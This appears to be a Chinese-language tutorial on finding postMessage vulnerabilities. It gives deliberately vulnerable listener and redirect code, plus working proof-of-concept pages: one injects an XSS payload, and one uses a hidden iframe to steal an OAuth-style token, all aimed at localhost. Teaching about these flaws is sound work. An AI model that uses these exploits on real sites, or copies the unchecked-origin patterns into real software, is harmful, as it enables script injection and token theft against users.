挖掘思路:
判断是否有消息源的校验
有消息源校验如下:
消息体的走向,判断是否存在漏洞
漏洞代码:
<!-- vul.html -->
<head><meta charset="UTF-8"></head>
<div id="receiveMessage">
Hello World!
</div>
<script>
window.onload = function() {
window.addEventListener('message', function (e) { // 监听 message 事件
alert(e.origin);
document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息:" + e.data;
});
}
</script>
漏洞分析:
创建了一个message的监听事件,将获取到的数据直接放进receiveMessage的div中,那么我们传入xss payload 也会被浏览器直接解析。
POC:
<script>
function pocFrame(win) {
let msg = "<img src=x onerror=alert(1)>";
win.postMessage(msg, '*');
}
</script>
<iframe src="http://127.0.0.1:8000/vul.html" onload="pocFrame(this.contentWindow)"></iframe>
漏洞案例灵感来源于https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/
漏洞代码:
<!--vul.html-->
<script>
var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");
</script>
<!--index.html-->
<body>
<script type="text/javascript">
function getUrlParams(url) {
// 通过 ? 分割获取后面的参数字符串
let urlStr = url.split('?')[1]
// 再通过 & 将每一个参数单独分割出来
let paramsArr = urlStr.split('&')
for(let i = 0,len = paramsArr.length;i < len;i++){
// 再通过 = 将每一个参数分割为 key:value 的形式
let arr = paramsArr[i].split('=')
if(arr[0]=='url'){
return arr[1]
}
}
}
var target = getUrlParams(window.location.href)
if(target.indexOf("http://127.0.0.1:8000/")>-1){
//跳转
window.location.href = target+'#/?token=xxx-xxx-xxx-xxx';// 实际情况下,token由服务端生成。
}
</script>
please input url to create token.
</body>
漏洞分析:
打开主页后,发现:
1.URL重定向,但重定向的目标必须和本站相同,也就是127.0.0.1:8000
2.重定向过程中会带上token
那么如果我们能够找到在该网站上存在的postMessage事件,就可以窃取到用户的token。
同时发现了vul.html,刚好满足了该需求:
那么此时,我们构造payload,窃取token:
payload中,构造:
http://127.0.0.1:8000/postMessage_steal/index.html?url=http://127.0.0.1:8000/postMessage_steal/vul.html
那么就会把token放到vul.html这个端点,该端点中触发postMessage事件。最终poc:
<head><meta charset="UTF-8"></head>
<div id="receiveMessage">
Hello World!
</div>
<script>
var exploit_url = 'http://127.0.0.1:8000/postMessage_steal/index.html?url=http://127.0.0.1:8000/postMessage_steal/vul.html';
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('message', function(FB) {
alert(FB.data);
}, !1);
</script>
https://www.anquanke.com/post/id/85136
https://blog.csdn.net/cdyunaq/article/details/123923650
https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/
夯实安全责任
共筑网络安全